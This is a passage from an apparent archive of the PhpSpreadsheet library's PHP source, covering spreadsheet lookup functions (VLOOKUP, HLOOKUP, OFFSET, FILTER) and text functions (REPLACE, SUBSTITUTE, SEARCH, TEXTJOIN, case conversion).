StringHelper::strToUpper($caseSensitiveValue)) { $caseSensitiveCounts[$caseSensitiveValue] = $count; break; } } } } return $caseSensitiveCounts; } private static function exactlyOnceFilter(array $values): array { return array_filter( $values, fn ($value): bool => $value === 1 ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Filter.php000064400000003644151676714400023360 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Filter { public static function filter(array $lookupArray, mixed $matchArray, mixed $ifEmpty = null): mixed { if (!is_array($matchArray)) { return ExcelError::VALUE(); } $matchArray = self::enumerateArrayKeys($matchArray); $result = (Matrix::isColumnVector($matchArray)) ? self::filterByRow($lookupArray, $matchArray) : self::filterByColumn($lookupArray, $matchArray); if (empty($result)) { return $ifEmpty ?? ExcelError::CALC(); } return array_values(array_map('array_values', $result)); } private static function enumerateArrayKeys(array $sortArray): array { array_walk( $sortArray, function (&$columns): void { if (is_array($columns)) { $columns = array_values($columns); } } ); return array_values($sortArray); } private static function filterByRow(array $lookupArray, array $matchArray): array { $matchArray = array_values(array_column($matchArray, 0)); return array_filter( array_values($lookupArray), fn ($index): bool => (bool) $matchArray[$index], ARRAY_FILTER_USE_KEY ); } private static function filterByColumn(array $lookupArray, array $matchArray): array { $lookupArray = Matrix::transpose($lookupArray); if (count($matchArray) === 1) { $matchArray = array_pop($matchArray); } array_walk( $matchArray, function (&$value): void { $value = [$value]; } ); $result = self::filterByRow($lookupArray, $matchArray); return Matrix::transpose($result); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/VLookup.php000064400000010171151676714400023523 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class VLookup extends LookupBase { use ArrayEnabled; /** * VLOOKUP * The VLOOKUP function searches for value in the left-most column of lookup_array and returns the value * in the same row based on the index_number. * * @param mixed $lookupValue The value that you want to match in lookup_array * @param mixed $lookupArray The range of cells being searched * @param mixed $indexNumber The column number in table_array from which the matching value must be returned. * The first column is 1. * @param mixed $notExactMatch determines if you are looking for an exact match based on lookup_value * * @return mixed The value of the found cell */ public static function lookup(mixed $lookupValue, mixed $lookupArray, mixed $indexNumber, mixed $notExactMatch = true): mixed { if (is_array($lookupValue) || is_array($indexNumber)) { return self::evaluateArrayArgumentsIgnore([self::class, __FUNCTION__], 1, $lookupValue, $lookupArray, $indexNumber, $notExactMatch); } $notExactMatch = (bool) ($notExactMatch ?? true); try { self::validateLookupArray($lookupArray); $indexNumber = self::validateIndexLookup($lookupArray, $indexNumber); } catch (Exception $e) { return $e->getMessage(); } $f = array_keys($lookupArray); $firstRow = array_pop($f); if ((!is_array($lookupArray[$firstRow])) || ($indexNumber > count($lookupArray[$firstRow]))) { return ExcelError::REF(); } $columnKeys = array_keys($lookupArray[$firstRow]); $returnColumn = $columnKeys[--$indexNumber]; $firstColumn = array_shift($columnKeys) ?? 1; if (!$notExactMatch) { /** @var callable $callable */ $callable = [self::class, 'vlookupSort']; uasort($lookupArray, $callable); } $rowNumber = self::vLookupSearch($lookupValue, $lookupArray, $firstColumn, $notExactMatch); if ($rowNumber !== null) { // return the appropriate value return $lookupArray[$rowNumber][$returnColumn]; } return ExcelError::NA(); } private static function vlookupSort(array $a, array $b): int { reset($a); $firstColumn = key($a); $aLower = StringHelper::strToLower((string) $a[$firstColumn]); $bLower = StringHelper::strToLower((string) $b[$firstColumn]); if ($aLower == $bLower) { return 0; } return ($aLower < $bLower) ? -1 : 1; } /** * @param mixed $lookupValue The value that you want to match in lookup_array * @param int|string $column */ private static function vLookupSearch(mixed $lookupValue, array $lookupArray, $column, bool $notExactMatch): ?int { $lookupLower = StringHelper::strToLower((string) $lookupValue); $rowNumber = null; foreach ($lookupArray as $rowKey => $rowData) { $bothNumeric = is_numeric($lookupValue) && is_numeric($rowData[$column]); $bothNotNumeric = !is_numeric($lookupValue) && !is_numeric($rowData[$column]); $cellDataLower = StringHelper::strToLower((string) $rowData[$column]); // break if we have passed possible keys if ( $notExactMatch && (($bothNumeric && ($rowData[$column] > $lookupValue)) || ($bothNotNumeric && ($cellDataLower > $lookupLower))) ) { break; } $rowNumber = self::checkMatch( $bothNumeric, $bothNotNumeric, $notExactMatch, $rowKey, $cellDataLower, $lookupLower, $rowNumber ); } return $rowNumber; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Formula.php000064400000002344151676714400023534 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\Cell; class Formula { /** * FORMULATEXT. * * @param mixed $cellReference The cell to check * @param ?Cell $cell The current cell (containing this formula) */ public static function text(mixed $cellReference = '', ?Cell $cell = null): string { if ($cell === null) { return ExcelError::REF(); } preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF . '$/i', $cellReference, $matches); $cellReference = $matches[6] . $matches[7]; $worksheetName = trim($matches[3], "'"); $worksheet = (!empty($worksheetName)) ? $cell->getWorksheet()->getParentOrThrow()->getSheetByName($worksheetName) : $cell->getWorksheet(); if ( $worksheet === null || !$worksheet->cellExists($cellReference) || !$worksheet->getCell($cellReference)->isFormula() ) { return ExcelError::NA(); } return $worksheet->getCell($cellReference)->getValue(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/HLookup.php000064400000010603151676714400023505 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class HLookup extends LookupBase { use ArrayEnabled; /** * HLOOKUP * The HLOOKUP function searches for value in the top-most row of lookup_array and returns the value * in the same column based on the index_number. * * @param mixed $lookupValue The value that you want to match in lookup_array * @param mixed $lookupArray The range of cells being searched * @param mixed $indexNumber The row number in table_array from which the matching value must be returned. * The first row is 1. * @param mixed $notExactMatch determines if you are looking for an exact match based on lookup_value * * @return mixed The value of the found cell */ public static function lookup(mixed $lookupValue, mixed $lookupArray, mixed $indexNumber, mixed $notExactMatch = true): mixed { if (is_array($lookupValue) || is_array($indexNumber)) { return self::evaluateArrayArgumentsIgnore([self::class, __FUNCTION__], 1, $lookupValue, $lookupArray, $indexNumber, $notExactMatch); } $notExactMatch = (bool) ($notExactMatch ?? true); try { self::validateLookupArray($lookupArray); $lookupArray = self::convertLiteralArray($lookupArray); $indexNumber = self::validateIndexLookup($lookupArray, $indexNumber); } catch (Exception $e) { return $e->getMessage(); } $f = array_keys($lookupArray); $firstRow = reset($f); if ((!is_array($lookupArray[$firstRow])) || ($indexNumber > count($lookupArray))) { return ExcelError::REF(); } $firstkey = $f[0] - 1; $returnColumn = $firstkey + $indexNumber; $firstColumn = array_shift($f) ?? 1; $rowNumber = self::hLookupSearch($lookupValue, $lookupArray, $firstColumn, $notExactMatch); if ($rowNumber !== null) { // otherwise return the appropriate value return $lookupArray[$returnColumn][Coordinate::stringFromColumnIndex($rowNumber)]; } return ExcelError::NA(); } /** * @param mixed $lookupValue The value that you want to match in lookup_array * @param int|string $column */ private static function hLookupSearch(mixed $lookupValue, array $lookupArray, $column, bool $notExactMatch): ?int { $lookupLower = StringHelper::strToLower((string) $lookupValue); $rowNumber = null; foreach ($lookupArray[$column] as $rowKey => $rowData) { // break if we have passed possible keys $bothNumeric = is_numeric($lookupValue) && is_numeric($rowData); $bothNotNumeric = !is_numeric($lookupValue) && !is_numeric($rowData); $cellDataLower = StringHelper::strToLower((string) $rowData); if ( $notExactMatch && (($bothNumeric && $rowData > $lookupValue) || ($bothNotNumeric && $cellDataLower > $lookupLower)) ) { break; } $rowNumber = self::checkMatch( $bothNumeric, $bothNotNumeric, $notExactMatch, Coordinate::columnIndexFromString($rowKey), $cellDataLower, $lookupLower, $rowNumber ); } return $rowNumber; } private static function convertLiteralArray(array $lookupArray): array { if (array_key_exists(0, $lookupArray)) { $lookupArray2 = []; $row = 0; foreach ($lookupArray as $arrayVal) { ++$row; if (!is_array($arrayVal)) { $arrayVal = [$arrayVal]; } $arrayVal2 = []; foreach ($arrayVal as $key2 => $val2) { $index = Coordinate::stringFromColumnIndex($key2 + 1); $arrayVal2[$index] = $val2; } $lookupArray2[$row] = $arrayVal2; } $lookupArray = $lookupArray2; } return $lookupArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Offset.php000064400000014721151676714400023357 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Offset { /** * OFFSET. * * Returns a reference to a range that is a specified number of rows and columns from a cell or range of cells. * The reference that is returned can be a single cell or a range of cells. You can specify the number of rows and * the number of columns to be returned. * * Excel Function: * =OFFSET(cellAddress, rows, cols, [height], [width]) * * @param null|string $cellAddress The reference from which you want to base the offset. * Reference must refer to a cell or range of adjacent cells; * otherwise, OFFSET returns the #VALUE! error value. * @param mixed $rows The number of rows, up or down, that you want the upper-left cell to refer to. * Using 5 as the rows argument specifies that the upper-left cell in the * reference is five rows below reference. Rows can be positive (which means * below the starting reference) or negative (which means above the starting * reference). * @param mixed $columns The number of columns, to the left or right, that you want the upper-left cell * of the result to refer to. Using 5 as the cols argument specifies that the * upper-left cell in the reference is five columns to the right of reference. * Cols can be positive (which means to the right of the starting reference) * or negative (which means to the left of the starting reference). * @param mixed $height The height, in number of rows, that you want the returned reference to be. * Height must be a positive number. * @param mixed $width The width, in number of columns, that you want the returned reference to be. * Width must be a positive number. * * @return array|string An array containing a cell or range of cells, or a string on error */ public static function OFFSET(?string $cellAddress = null, mixed $rows = 0, mixed $columns = 0, mixed $height = null, mixed $width = null, ?Cell $cell = null): string|array { $rows = Functions::flattenSingleValue($rows); $columns = Functions::flattenSingleValue($columns); $height = Functions::flattenSingleValue($height); $width = Functions::flattenSingleValue($width); if ($cellAddress === null || $cellAddress === '') { return ExcelError::VALUE(); } if (!is_object($cell)) { return ExcelError::REF(); } [$cellAddress, $worksheet] = self::extractWorksheet($cellAddress, $cell); $startCell = $endCell = $cellAddress; if (strpos($cellAddress, ':')) { [$startCell, $endCell] = explode(':', $cellAddress); } [$startCellColumn, $startCellRow] = Coordinate::coordinateFromString($startCell); [$endCellColumn, $endCellRow] = Coordinate::coordinateFromString($endCell); $startCellRow += $rows; $startCellColumn = Coordinate::columnIndexFromString($startCellColumn) - 1; $startCellColumn += $columns; if (($startCellRow <= 0) || ($startCellColumn < 0)) { return ExcelError::REF(); } $endCellColumn = self::adjustEndCellColumnForWidth($endCellColumn, $width, $startCellColumn, $columns); $startCellColumn = Coordinate::stringFromColumnIndex($startCellColumn + 1); $endCellRow = self::adustEndCellRowForHeight($height, $startCellRow, $rows, $endCellRow); if (($endCellRow <= 0) || ($endCellColumn < 0)) { return ExcelError::REF(); } $endCellColumn = Coordinate::stringFromColumnIndex($endCellColumn + 1); $cellAddress = "{$startCellColumn}{$startCellRow}"; if (($startCellColumn != $endCellColumn) || ($startCellRow != $endCellRow)) { $cellAddress .= ":{$endCellColumn}{$endCellRow}"; } return self::extractRequiredCells($worksheet, $cellAddress); } private static function extractRequiredCells(?Worksheet $worksheet, string $cellAddress): array { return Calculation::getInstance($worksheet !== null ? $worksheet->getParent() : null) ->extractCellRange($cellAddress, $worksheet, false); } private static function extractWorksheet(?string $cellAddress, Cell $cell): array { $cellAddress = self::assessCellAddress($cellAddress ?? '', $cell); $sheetName = ''; if (str_contains($cellAddress, '!')) { [$sheetName, $cellAddress] = Worksheet::extractSheetTitle($cellAddress, true); $sheetName = trim($sheetName, "'"); } $worksheet = ($sheetName !== '') ? $cell->getWorksheet()->getParentOrThrow()->getSheetByName($sheetName) : $cell->getWorksheet(); return [$cellAddress, $worksheet]; } private static function assessCellAddress(string $cellAddress, Cell $cell): string { if (preg_match('/^' . Calculation::CALCULATION_REGEXP_DEFINEDNAME . '$/mui', $cellAddress) !== false) { $cellAddress = Functions::expandDefinedName($cellAddress, $cell); } return $cellAddress; } private static function adjustEndCellColumnForWidth(string $endCellColumn, mixed $width, int $startCellColumn, mixed $columns): int { $endCellColumn = Coordinate::columnIndexFromString($endCellColumn) - 1; if (($width !== null) && (!is_object($width))) { $endCellColumn = $startCellColumn + (int) $width - 1; } else { $endCellColumn += (int) $columns; } return $endCellColumn; } private static function adustEndCellRowForHeight(mixed $height, int $startCellRow, mixed $rows, mixed $endCellRow): int { if (($height !== null) && (!is_object($height))) { $endCellRow = $startCellRow + (int) $height - 1; } else { $endCellRow += (int) $rows; } return $endCellRow; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Internal/MakeMatrix.php000064400000000307151676714400024034 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Internal; class MakeMatrix { /** @param array $args */ public static function make(...$args): array { return $args; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Internal/WildcardMatch.php000064400000002350151676714400024500 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Internal; class WildcardMatch { private const SEARCH_SET = [ '~~', // convert double tilde to unprintable value '~\\*', // convert tilde backslash asterisk to [*] (matches literal asterisk in regexp) '\\*', // convert backslash asterisk to .* (matches string of any length in regexp) '~\\?', // convert tilde backslash question to [?] (matches literal question mark in regexp) '\\?', // convert backslash question to . (matches one character in regexp) "\x1c", // convert original double tilde to single tilde ]; private const REPLACEMENT_SET = [ "\x1c", '[*]', '.*', '[?]', '.', '~', ]; public static function wildcard(string $wildcard): string { // Preg Escape the wildcard, but protecting the Excel * and ? search characters return str_replace(self::SEARCH_SET, self::REPLACEMENT_SET, preg_quote($wildcard, '/')); } public static function compare(?string $value, string $wildcard): bool { if ($value === '' || $value === null) { return false; } return (bool) preg_match("/^{$wildcard}\$/mui", $value); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/Trim.php000064400000003032151676714400022645 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; class Trim { use ArrayEnabled; /** * CLEAN. * * @param mixed $stringValue String Value to check * Or can be an array of values * * @return array|string If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function nonPrintable(mixed $stringValue = '') { if (is_array($stringValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $stringValue); } $stringValue = Helpers::extractString($stringValue); return (string) preg_replace('/[\\x00-\\x1f]/', '', "$stringValue"); } /** * TRIM. * * @param mixed $stringValue String Value to check * Or can be an array of values * * @return array|string If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function spaces(mixed $stringValue = ''): array|string { if (is_array($stringValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $stringValue); } $stringValue = Helpers::extractString($stringValue); return trim(preg_replace('/ +/', ' ', trim("$stringValue", ' ')) ?? '', ' '); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/Replace.php000064400000011541151676714400023311 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception as CalcExp; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class Replace { use ArrayEnabled; /** * REPLACE. * * @param mixed $oldText The text string value to modify * Or can be an array of values * @param mixed $start Integer offset for start character of the replacement * Or can be an array of values * @param mixed $chars Integer number of characters to replace from the start offset * Or can be an array of values * @param mixed $newText String to replace in the defined position * Or can be an array of values * * @return array|string If an array of values is passed for either of the arguments, then the returned result * will also be an array with matching dimensions */ public static function replace(mixed $oldText, mixed $start, mixed $chars, mixed $newText): array|string { if (is_array($oldText) || is_array($start) || is_array($chars) || is_array($newText)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $oldText, $start, $chars, $newText); } try { $start = Helpers::extractInt($start, 1, 0, true); $chars = Helpers::extractInt($chars, 0, 0, true); $oldText = Helpers::extractString($oldText, true); $newText = Helpers::extractString($newText, true); $left = StringHelper::substring($oldText, 0, $start - 1); $right = StringHelper::substring($oldText, $start + $chars - 1, null); } catch (CalcExp $e) { return $e->getMessage(); } $returnValue = $left . $newText . $right; if (StringHelper::countCharacters($returnValue) > DataType::MAX_STRING_LENGTH) { $returnValue = ExcelError::VALUE(); } return $returnValue; } /** * SUBSTITUTE. * * @param mixed $text The text string value to modify * Or can be an array of values * @param mixed $fromText The string value that we want to replace in $text * Or can be an array of values * @param mixed $toText The string value that we want to replace with in $text * Or can be an array of values * @param mixed $instance Integer instance Number for the occurrence of frmText to change * Or can be an array of values * * @return array|string If an array of values is passed for either of the arguments, then the returned result * will also be an array with matching dimensions */ public static function substitute(mixed $text = '', mixed $fromText = '', mixed $toText = '', mixed $instance = null): array|string { if (is_array($text) || is_array($fromText) || is_array($toText) || is_array($instance)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $text, $fromText, $toText, $instance); } try { $text = Helpers::extractString($text, true); $fromText = Helpers::extractString($fromText, true); $toText = Helpers::extractString($toText, true); if ($instance === null) { $returnValue = str_replace($fromText, $toText, $text); } else { if (is_bool($instance)) { if ($instance === false || Functions::getCompatibilityMode() !== Functions::COMPATIBILITY_OPENOFFICE) { return ExcelError::Value(); } $instance = 1; } $instance = Helpers::extractInt($instance, 1, 0, true); $returnValue = self::executeSubstitution($text, $fromText, $toText, $instance); } } catch (CalcExp $e) { return $e->getMessage(); } if (StringHelper::countCharacters($returnValue) > DataType::MAX_STRING_LENGTH) { $returnValue = ExcelError::VALUE(); } return $returnValue; } private static function executeSubstitution(string $text, string $fromText, string $toText, int $instance): string { $pos = -1; while ($instance > 0) { $pos = mb_strpos($text, $fromText, $pos + 1, 'UTF-8'); if ($pos === false) { return $text; } --$instance; } return Functions::scalar(self::REPLACE($text, ++$pos, StringHelper::countCharacters($fromText), $toText)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/Helpers.php000064400000004660151676714400023344 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Exception as CalcExp; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Helpers { public static function convertBooleanValue(bool $value): string { if (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_OPENOFFICE) { return $value ? '1' : '0'; } return ($value) ? Calculation::getTRUE() : Calculation::getFALSE(); } /** * @param mixed $value String value from which to extract characters */ public static function extractString(mixed $value, bool $throwIfError = false): string { if (is_bool($value)) { return self::convertBooleanValue($value); } if ($throwIfError && is_string($value) && ErrorValue::isError($value)) { throw new CalcExp($value); } return (string) $value; } public static function extractInt(mixed $value, int $minValue, int $gnumericNull = 0, bool $ooBoolOk = false): int { if ($value === null) { // usually 0, but sometimes 1 for Gnumeric $value = (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_GNUMERIC) ? $gnumericNull : 0; } if (is_bool($value) && ($ooBoolOk || Functions::getCompatibilityMode() !== Functions::COMPATIBILITY_OPENOFFICE)) { $value = (int) $value; } if (!is_numeric($value)) { throw new CalcExp(ExcelError::VALUE()); } $value = (int) $value; if ($value < $minValue) { throw new CalcExp(ExcelError::VALUE()); } return (int) $value; } public static function extractFloat(mixed $value): float { if ($value === null) { $value = 0.0; } if (is_bool($value)) { $value = (float) $value; } if (!is_numeric($value)) { throw new CalcExp(ExcelError::VALUE()); } return (float) $value; } public static function validateInt(mixed $value): int { if ($value === null) { $value = 0; } elseif (is_bool($value)) { $value = (int) $value; } return (int) $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/CharacterConvert.php000064400000005125151676714400025174 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class CharacterConvert { use ArrayEnabled; /** * CHAR. * * @param mixed $character Integer Value to convert to its character representation * Or can be an array of values * * @return array|string The character string * If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function character(mixed $character): array|string { if (is_array($character)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $character); } $character = Helpers::validateInt($character); $min = Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE ? 0 : 1; if ($character < $min || $character > 255) { return ExcelError::VALUE(); } $result = iconv('UCS-4LE', 'UTF-8', pack('V', $character)); return ($result === false) ? '' : $result; } /** * CODE. * * @param mixed $characters String character to convert to its ASCII value * Or can be an array of values * * @return array|int|string A string if arguments are invalid * If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function code(mixed $characters): array|string|int { if (is_array($characters)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $characters); } $characters = Helpers::extractString($characters); if ($characters === '') { return ExcelError::VALUE(); } $character = $characters; if (mb_strlen($characters, 'UTF-8') > 1) { $character = mb_substr($characters, 0, 1, 'UTF-8'); } return self::unicodeToOrd($character); } private static function unicodeToOrd(string $character): int { $retVal = 0; $iconv = iconv('UTF-8', 'UCS-4LE', $character); if ($iconv !== false) { $result = unpack('V', $iconv); if (is_array($result) && isset($result[1])) { $retVal = $result[1]; } } return $retVal; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/Search.php000064400000007165151676714400023152 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception as CalcExp; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class Search { use ArrayEnabled; /** * FIND (case sensitive search). * * @param mixed $needle The string to look for * Or can be an array of values * @param mixed $haystack The string in which to look * Or can be an array of values * @param mixed $offset Integer offset within $haystack to start searching from * Or can be an array of values * * @return array|int|string The offset where the first occurrence of needle was found in the haystack * If an array of values is passed for the $value or $chars arguments, then the returned result * will also be an array with matching dimensions */ public static function sensitive(mixed $needle, mixed $haystack, mixed $offset = 1): array|string|int { if (is_array($needle) || is_array($haystack) || is_array($offset)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $needle, $haystack, $offset); } try { $needle = Helpers::extractString($needle); $haystack = Helpers::extractString($haystack); $offset = Helpers::extractInt($offset, 1, 0, true); } catch (CalcExp $e) { return $e->getMessage(); } if (StringHelper::countCharacters($haystack) >= $offset) { if (StringHelper::countCharacters($needle) === 0) { return $offset; } $pos = mb_strpos($haystack, $needle, --$offset, 'UTF-8'); if ($pos !== false) { return ++$pos; } } return ExcelError::VALUE(); } /** * SEARCH (case insensitive search). * * @param mixed $needle The string to look for * Or can be an array of values * @param mixed $haystack The string in which to look * Or can be an array of values * @param mixed $offset Integer offset within $haystack to start searching from * Or can be an array of values * * @return array|int|string The offset where the first occurrence of needle was found in the haystack * If an array of values is passed for the $value or $chars arguments, then the returned result * will also be an array with matching dimensions */ public static function insensitive(mixed $needle, mixed $haystack, mixed $offset = 1): array|string|int { if (is_array($needle) || is_array($haystack) || is_array($offset)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $needle, $haystack, $offset); } try { $needle = Helpers::extractString($needle); $haystack = Helpers::extractString($haystack); $offset = Helpers::extractInt($offset, 1, 0, true); } catch (CalcExp $e) { return $e->getMessage(); } if (StringHelper::countCharacters($haystack) >= $offset) { if (StringHelper::countCharacters($needle) === 0) { return $offset; } $pos = mb_stripos($haystack, $needle, --$offset, 'UTF-8'); if ($pos !== false) { return ++$pos; } } return ExcelError::VALUE(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/Concatenate.php000064400000011133151676714400024157 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class Concatenate { use ArrayEnabled; /** * CONCATENATE. * * @param array $args */ public static function CONCATENATE(...$args): string { $returnValue = ''; // Loop through arguments $aArgs = Functions::flattenArray($args); foreach ($aArgs as $arg) { $value = Helpers::extractString($arg); if (ErrorValue::isError($value)) { $returnValue = $value; break; } $returnValue .= Helpers::extractString($arg); if (StringHelper::countCharacters($returnValue) > DataType::MAX_STRING_LENGTH) { $returnValue = ExcelError::CALC(); break; } } return $returnValue; } /** * TEXTJOIN. * * @param mixed $delimiter The delimter to use between the joined arguments * Or can be an array of values * @param mixed $ignoreEmpty true/false Flag indicating whether empty arguments should be skipped * Or can be an array of values * @param mixed $args The values to join * * @return array|string The joined string * If an array of values is passed for the $delimiter or $ignoreEmpty arguments, then the returned result * will also be an array with matching dimensions */ public static function TEXTJOIN(mixed $delimiter = '', mixed $ignoreEmpty = true, mixed ...$args): array|string { if (is_array($delimiter) || is_array($ignoreEmpty)) { return self::evaluateArrayArgumentsSubset( [self::class, __FUNCTION__], 2, $delimiter, $ignoreEmpty, ...$args ); } $delimiter ??= ''; $ignoreEmpty ??= true; $aArgs = Functions::flattenArray($args); $returnValue = self::evaluateTextJoinArray($ignoreEmpty, $aArgs); $returnValue ??= implode($delimiter, $aArgs); if (StringHelper::countCharacters($returnValue) > DataType::MAX_STRING_LENGTH) { $returnValue = ExcelError::CALC(); } return $returnValue; } private static function evaluateTextJoinArray(bool $ignoreEmpty, array &$aArgs): ?string { foreach ($aArgs as $key => &$arg) { $value = Helpers::extractString($arg); if (ErrorValue::isError($value)) { return $value; } if ($ignoreEmpty === true && ((is_string($arg) && trim($arg) === '') || $arg === null)) { unset($aArgs[$key]); } elseif (is_bool($arg)) { $arg = Helpers::convertBooleanValue($arg); } } return null; } /** * REPT. * * Returns the result of builtin function round after validating args. * * @param mixed $stringValue The value to repeat * Or can be an array of values * @param mixed $repeatCount The number of times the string value should be repeated * Or can be an array of values * * @return array|string The repeated string * If an array of values is passed for the $stringValue or $repeatCount arguments, then the returned result * will also be an array with matching dimensions */ public static function builtinREPT(mixed $stringValue, mixed $repeatCount): array|string { if (is_array($stringValue) || is_array($repeatCount)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $stringValue, $repeatCount); } $stringValue = Helpers::extractString($stringValue); if (!is_numeric($repeatCount) || $repeatCount < 0) { $returnValue = ExcelError::VALUE(); } elseif (ErrorValue::isError($stringValue)) { $returnValue = $stringValue; } else { $returnValue = str_repeat($stringValue, (int) $repeatCount); if (StringHelper::countCharacters($returnValue) > DataType::MAX_STRING_LENGTH) { $returnValue = ExcelError::VALUE(); // note VALUE not CALC } } return $returnValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/CaseConvert.php000064400000004757151676714400024165 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class CaseConvert { use ArrayEnabled; /** * LOWERCASE. * * Converts a string value to upper case. * * @param mixed $mixedCaseValue The string value to convert to lower case * Or can be an array of values * * @return array|string If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function lower(mixed $mixedCaseValue): array|string { if (is_array($mixedCaseValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $mixedCaseValue); } $mixedCaseValue = Helpers::extractString($mixedCaseValue); return StringHelper::strToLower($mixedCaseValue); } /** * UPPERCASE. * * Converts a string value to upper case. * * @param mixed $mixedCaseValue The string value to convert to upper case * Or can be an array of values * * @return array|string If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function upper(mixed $mixedCaseValue): array|string { if (is_array($mixedCaseValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $mixedCaseValue); } $mixedCaseValue = Helpers::extractString($mixedCaseValue); return StringHelper::strToUpper($mixedCaseValue); } /** * PROPERCASE. * * Converts a string value to proper or title case. * * @param mixed $mixedCaseValue The string value to convert to title case * Or can be an array of values * * @return array|string If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function proper(mixed $mixedCaseValue): array|string { if (is_array($mixedCaseValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], 